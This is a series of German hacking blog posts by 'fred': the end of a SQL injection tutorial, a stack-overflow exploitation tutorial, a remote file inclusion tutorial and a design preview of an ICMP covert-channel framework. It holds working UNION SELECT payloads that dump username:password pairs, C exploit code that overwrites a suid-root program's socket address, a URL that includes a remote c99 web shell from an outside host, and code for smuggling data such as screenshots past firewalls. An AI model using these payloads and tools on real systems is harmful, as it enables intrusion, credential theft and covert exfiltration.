(Wie gesagt, eventuell auch — (wieder 2 mal das minus) am schluss statt /* benutzen)
oder eben
http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,@@version,3/*
(ich benutzt das erstere lieber)
Nun wird ausgegeben: 4.1.33-log oder 5.0.45 order eben andere Versionen, dabei zu erkennen gibt es Version 4 und 5.
Falls nun nix ausgegeben wird, oder ein Error erscheint der etwa so aussieht: „Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation ‘UNION’“
Dann muessen wir die Convert Funktion benutzen, in diesem falle dann
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,convert(version() using latin1),3/*
oder
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,convert(version() using utf8),3/*
Man kann dies aber auch noch mit unhex(hex()) machen. Durch das Umwandeln der Ausgaben in Hex und wieder zurück, bekommt man einen einheitlichen Charset und es tritt somit kein Fehler mehr auf. Benutzt ich ganz gerne da es einfacher ist.
Bsp.:
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,unhex(hex(version())),3/*
Nun wird die Version angezeigt und es erscheint kein Fehler mehr.
5) Table & Column Namen rausfinden
So nun wollen wir uns auch die Tables & Columns ausgeben lassen.
V4 ist ein bisschen blöd, da man dort „raten“ muss. Oft verwendete Tabellen Namen:
user/s, admin/s, member/s, login,…
und Columns: username, user, usr, user_name, password, pass, passwd, pwd,…
Gibt dafuer auch Scripts, die das vereinfachen bzw. schneller durchgehen.
Da wir uns ja nun etwas aus einer bestimmten Tabelle ausgeben lassen wollen, meistens die Tabelle in der Users drin gespeichert sind, müssen wir ein zweites simples MySQL Query machen.
...UNION SELECT 1,2,3 FROM tabelle
Das heißt wir wollen schauen, ob die Tabelle existiert. “Wähle aus von Tabelle”.
Wie sieht das nun bei uns aus?
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,2,3/**/FROM/**/users/*
Muss man nun eben durch testen.. wenn man die richtige Tabelle gefunden hat, werden wieder unsere Zahlen ausgegeben. Wir nehmen wieder unsere 2 und suchen nach den columns.. oben stehen die am meisten verwendeten..
http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,username,3/**/FROM/**/users/*
In unserem MySQL Query heißt das nun also:
...UNION SELECT 1,username,3 FROM users/*
Wähle Username aus Tabelle “users”.
Wenn nun ein Error erscheint, testen wir das ganze mit user, usr,… Bis uns ein username ausgegeben wird. Nun das gleiche mit der Spalte „password“.
Wenn wir nun ein PW sehen (egal obs MD5, Sha1, Plain,..), dann war unsere SQL Injection erfolgreich. :)
Mit Concat kann man sich nun mehrere Columns an einer „Zahl“ ausgeben lassen.
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat(username,0x3a,password),3/**/FROM/**/users/*
0x3a = hex = (ein Doppelpunkt) :
Nun sehen wir dort:
username:password
Und eine Erfolgreiche SQL Injection.
So, dass war mein erster Teil zu meiner SQL Injection Reihe, ich hoffe es ist einigermaßen verständlich vorallem für Anfänger geworden.

~fred

Samstag, 9. April 2011

Advanced Stack-Bufferoverflows

Dieses Tutorial behandelt die Problematik von dem begrenzten Überschreiben von Variablen.
Jeder kennt die 0815 Overflows wie: strcpy(text, argv[1]) ….. LANGWEILIG!
Doch was bleibt uns übrig wenn man zwar aus dem Speicherbereich der
ursprünglichen Variable “ausbrechen” kann, aber nicht bis zur RET kommt sondern nur andere Variablen die im weiteren Programmablauf genutzt werden
überschreiben kann?
tutorial[1] – Praktische Erklärung anhand eines komplett beknackten Beispiels ;D
#include <stdio.h>
  #include <string.h>
  #include <unistd.h>
 
  int main (int argc, char **argv){
   char h [] = "/bin/uname";
   char text[100];
 
   if(argc > 1)
    strncpy(text, argv[1], 110);
   printf("%s\n", h);
   execl (h,h, (char *)0);
   return 0;
  }
Hier ist es ganz offensichtlich: Wir können h mit 10 Bytes überschreiben.
h wird im nachhinein als Argument für execl benutz was für uns aüßerst
attraktiv ist. Hier ein kleiner und selbsterklärender Exploit-Log:
./test `perl -e 'printf "a"x110'`
aaaaaaaaaa
./test `perl -e 'printf "a"x100 . "/bin/ls\x00"'`
[LIST DIRECTORY EXECUTED]
Somit konnten wir das Überschreiben von unseren programmeigenen Variablen
erfolgreich auszunutzen.
tutorial[2] – Praktische Erklärung anhand eines komplett beknackten und
umfangreicherem Beispiel ;D
Folgendes Szenario: Wir sind auf einer Linux user-shell gelandet.
Wir haben keine Root Rechte finden allerdings ein suid-root Programm
+ Quellcode.
#include <stdio.h>
  #include <string.h>
  #include <stdlib.h>
  #include <sys/types.h>
  #include <sys/socket.h>
  #include <netinet/in.h>
  #include <arpa/inet.h>
  #include <strings.h>
 
  int main(int argc, char **argv) {
   int s,c, i;
   socklen_t addr_len;
   struct sockaddr_in addr;
   char file_line[60];
   char recvb[1024];
   s = socket(AF_INET, SOCK_STREAM, 0);
   if(atoi(argv[1]) < 1024)
    return 1338;
   addr.sin_addr.s_addr = INADDR_ANY;
   addr.sin_port = htons(atoi(argv[1]));
   addr.sin_family = AF_INET;
 
   FILE *fp = fopen("prefs.cfg", "r");
   for(i = 0; i < 65; i++)
    file_line[i] = getc(fp);
   fclose(fp);
 
   bind(s, (struct sockaddr*)&addr, sizeof(addr));
 
   listen(s, 3);
 
   addr_len = sizeof(addr);
   for(;;){
    c = accept(s, (struct sockaddr*)&addr, &addr_len);
    recv(c, recvb, sizeof(recvb), 0);
    printf("%s\n", recvb);
    close(c);
   }
   close(s);
   return 0;
  }
Wie der Linuxgelehrte Leser sicher weiß, darf nur der Rootuser auf den Ports die
kleiner sind als 1024 lauschen. Dies wollen wir umgehen und mit unserem
Programm Packete ergaunern die auf schützenswerten Ports geschickt werden.
Wer das Programm selbst Exploiten möchten sollte hier aufhören zu lesen,
viel Glück!
Für alle anderen Schwachmaten:
....
  struct sockaddr_in addr;
  char file_line[60];
  ....
  FILE *fp = fopen("prefs.cfg", "r");
  for(i = 0; i < ---->65<-----; i++)
    file_line[i] = getc(fp);
  fclose(fp);
Klingelts? Wir können die ersten vier Bytes von sockaddr_in addr überschreiben
indem wir die Datei prefs.cfg mit 65 Bytes füllen (Wir können gottseidank Nullbytes
verwenden).
Was nützt uns das?
...
  addr.sin_addr.s_addr = INADDR_ANY;
 --->>addr.sin_port = htons(atoi(argv[1]));
 addr.sin_family = AF_INET;
  ...
In addr stehen alle wichtigen Daten zur Verbindung für den Server.
Somit auch der Port! Nun müssen wir herausfinden wie diese vier Bytes
aussehen wenn wir z.b auf Port 21 lauschen wollen.
Dazu schreiben wir uns ein kleines Hilfprogramm welches wir Lokal ausführen:
#include <string.h>
  #include <stdio.h>
  #include <sys/types.h>
  #include <sys/socket.h>
  #include <netinet/in.h>
  #include <arpa/inet.h>
  int main () {
   struct sockaddr_in addr;
   memset(&addr, 0x0, sizeof(addr));
   addr.sin_addr.s_addr = INADDR_ANY;
   addr.sin_port = htons(21);
   addr.sin_family = AF_INET;
   printf("%x\n", addr);
   return 0;
  }
Dies gibt aus: 0×15000002
Das bedeutet: 0×1500 = Rückgabe von htons()
0×00 = Irgendwie zwingend vielleicht noch ein anderer Sinn.
0×02 = Die sin_family.
Somit brauchen wir uns nur noch ein Programm schreiben was uns die
pref.cfg entsprechend füllt und unser Victim starten.
#include <stdio.h>
  #include <string.h>
 
  int main (){
   char buffer[66];
   memset(buffer, 'a', 64);
    buffer[60] = 0x02;
   buffer[61] = 0x00;
   buffer[62] = 0x00;
   buffer[63] = 0x15;
   FILE *fp = fopen("prefs.cfg", "w");
   int i;
   for(i = 0; i < 65; i++)
    putc(buffer[i], fp);
   fclose(fp);
  }
Hier unser finaler Log:
./filler
  ./victim 5555
  [PACKETE AUF PORT 21]
Ich hoffe dieser wichtige Abschnitt war verständlich.

~fred

RFI (Remote File Inclusion)

Heute versuche ich euch ein bisschen etwas zu einer RFI (Remote File Inclusion) zu erlaeutern, 
LFI (Local File Inclusion) wird, sobald ich Zeit finde, ebenfalls drankommen!

Was ist RFI überhaupt, und was ist die Gefahr bei solch einer Lücke?


Eine RFI Luecke kann ganz einfach entstehen, wenn man versucht, etwas auf einer Page zu inkludieren.Da sich das so mager anhört, versuch ich das in einem Source Beispiel zu erklären. Erstellen wir uns mal eine rfi.php Datei mit etwa diesem Inhalt:
<?php
 
if (isset($_GET['file']))
{
include($_GET['file']);
}
else
{
echo "Du hast kein File includet";
}
?>
Erinnert vielleicht ein  bisschen an den Source Code von XSS Lücken, da wieder etwas über den GET Parameter uebergeben wird. Diesmal wollen wir den Inhalt einer sich auf unserem Server befindenden PHP Datei einfügen.
Dazu erstellen wir eine blub.php Datei mit etwa diesem Inhalt:
<?php
echo "Das ist eine includete PHP Datei";
?>
Ganz simpler Echo Ausgabe Befehl, wie man sieht. Wenn man nun unsere URL aufruft (ich teste es wie immer auf localhost)
http://localhost/rfi.php
Erscheint unser Error:
Du hast kein File includet
Dann wollen wir uns unsere blub.php includen:
http://localhost/rfi.php?file=jap.php
Wird
Das ist eine includete PHP Datei
ausgegeben. D.h. unsere blub.php datei wurde dort eingefuegt bzw. ausgefuehrt.
Nun da RFI Remote File Inclusion heißt, wird hier eine externe page includiert, die nicht auf dem Webspace vorhanden ist, als Beispiel würde das dann so aussehen:
http://localhost/rfi.php?file=http://www.google.de
Wenn nun dort auf der Page Google.de angezeigt wird, dann ist eine RFI Luecke vorhanden.
Vorraussetzung für eine RFI ist, dass allow_url_fopen, allow_url_include und register_globals on sind.
So nun brauchen wir ne Page mit einer C99.php shell als beispiel und includen diese (diese shell sollte in einem Format gespeichert sein, welches der Server nicht interpretiert sondern nur ausgibt, d.h. z.b. als .txt).
Sieht dann so aus:
http://localhost/rfi.php?file=http://test.de/c99.txt
Und zu sehen ist dann eine includete shell, auf die ihr, wenn alles klappt, vollen Zugriff habt :)
Wie das ganze bei einer LFI aussieht erzaehl ich euch das nächste mal. Auch Sachen bezueglich Nullbyte werd ich noch ansprechen.

~fred

Vorstellung der Senderseite des ICMPFrameworks

Guten Abend,

Das Projekt ist dazu da, Daten in eine Richtung durch Firewalls, Proxies, Router und dergleichen zu schleusen, denn während diese praktisch immer TCP Pakete und UDP Datagramme abfangen und filtern, fallen ICMP Echo Requests (auch bekannt als Ping) meist unter den Tisch. Abgesehen davon fallen solche Pakete als Ping request/reply natürlich in einem etwaigen Sniffer weniger auf. Ein solches ICMP-Paket bietet noch Platz für Nutzdaten, sodass man diese meist unbemerkt (wenn es nicht zu viele Daten sind) versenden kann. Das Problem hierbei ist vorrangig, dass ICMP nicht gewährleistet, dass – und in welcher Reihenfolge – Pakete ankommen; das muss das Framework also managen, und das möglichst ohne den User damit zu behelligen. Aus diesem Grund habe ich (mit tatkräftiger Unterstützung von f0Gx) ein Projektdesign entworfen, das ich im Nachfolgenden vorstellen möchte.

Hier sehen wir also rechts das Herzstück des Frameworks, die Klasse ICMPGateway, die für die Kommunikation mit dem Netzwerk verantwortlich ist. Innerhalb dieser Klasse gibt es zwei Threads, einen receiveThread, der genau das macht, was der Name verspricht. Er empfängt Bestätigungspakete von der Gegenseite und leitet das Nachsenden von fehlenden Paketen ein; das geschieht dann im resendThread. Links davon ist die Klasse DataSupply zu sehen, die als Interface für verschiedene Daten-sendede Klassen dient (hier nur PlainDataSender). ICMPGateway verwaltet die DataSupplies um ihre Pakete zuverlässig zustellen zu können. Das Zustellen der Pakete wird mit ICMPGateway::send eingeleitet. Diese Funktion ist blockend bis alle Daten bei der Gegenseite angekommen sind.

Die DataSupply-Klasse hat einen internen Zwischenspeicher für Pakete, auf die das ICMPGateway zugreift. Diese Storage lässt sich mit der funktion insertData füllen und hinterher mit dispatchStorage dann via ICMPGateway versenden.
Schließlich gibt es noch die (Beispiel-)Klasse PlainDataSender. Sie baut auf dem Framework auf und nutzt es um einfache Datenbuffer zu versenden. Hierfür sind 2 Funktionen verfügbar: dispatch und store. Store speichert daten in einem internen Speicher zwischen, bis dispatch aufgerufen wird und die Daten versendet werden. Diese Klasse ist dank dem Framework sehr einfach und greift nur auf die Funktionen von DataSupply zurück.
Ein weiteres Beispiel für eine solche Klasse, die das Framework nutzt wäre vielleicht ScreenShotSender, welche beispielsweise in bestimmten Intervallen Screenshots per ICMP an den Empfänger senden könnte. Da das ganze Projekt für Multithreading ausgelegt ist, funktioniert das alles auch simultan. Als kleiner Abschluss hier noch die Beispielsource von PlainDataSender.
PlainDataSender.h

01#include "DataSupply.h"
02
03#define PACKETSIZE 28
04#define PLAINDATASENDER_ID 0
05
06class PlainDataSender : public DataSupply {
07public:
08    void store(const byte *data, uint len);
09    void dispatch(std::string host);
10    byte getID() {
11        return PLAINDATASENDER_ID;
12    }
13private:
14    std::vector<byte> storage;
15};
PlainDataSender.cpp

01#include "PlainDataSender.h"
02
03void PlainDataSender::store(const byte *data, uint len) {
04    for (int i = 0; i < len; i++)
05        storage.push_back(data[i]);
06}
07
08void PlainDataSender::dispatch(std::string host) {
09    uint packetsize = PACKETSIZE;
10    uint done = 0, toDo = storage.size();
11
12    while (done < toDo) {
13        if (toDo - done < packetsize)
14            packetsize = toDo - done;
15        insertData((byte *)(&storage[0] + done), packetsize);
16        done += packetsize;
17    }
18
19    storage.clear();
20    dispatchStorage(host);
21}
Diese Klasse implementiert also mithilfe des Frameworks einen einfachen „buffernden“ Datensender. Die ID, die oben definiert ist, dient dazu den Sendertyp dem passenden Empfänger zuzuordnen.
main.cpp

01#include "PlainDataSender.h"
02
03int main() {
04    PlainDataSender i;
05    string a = "Hallo, Test";
06
07    i.store((byte *)a.c_str(), a.length());
08    i.store((byte *)a.c_str(), a.length());
09
10    i.dispatch("192.168.0.101");
11    return 0;
12}
Mit diesem Code kommt also zwei mal „Hallo, Test“ an. Garantiert ;)
So viel zur kleinen Vorschau zum Framework. Ich hoffe ich werde die Empfängerseite (die übrigens für Linux ausgelegt ist) morgen fertig stellen können, und dann das Framework hier weiter im Detail vorstellen und veröffentlichen können.

~fred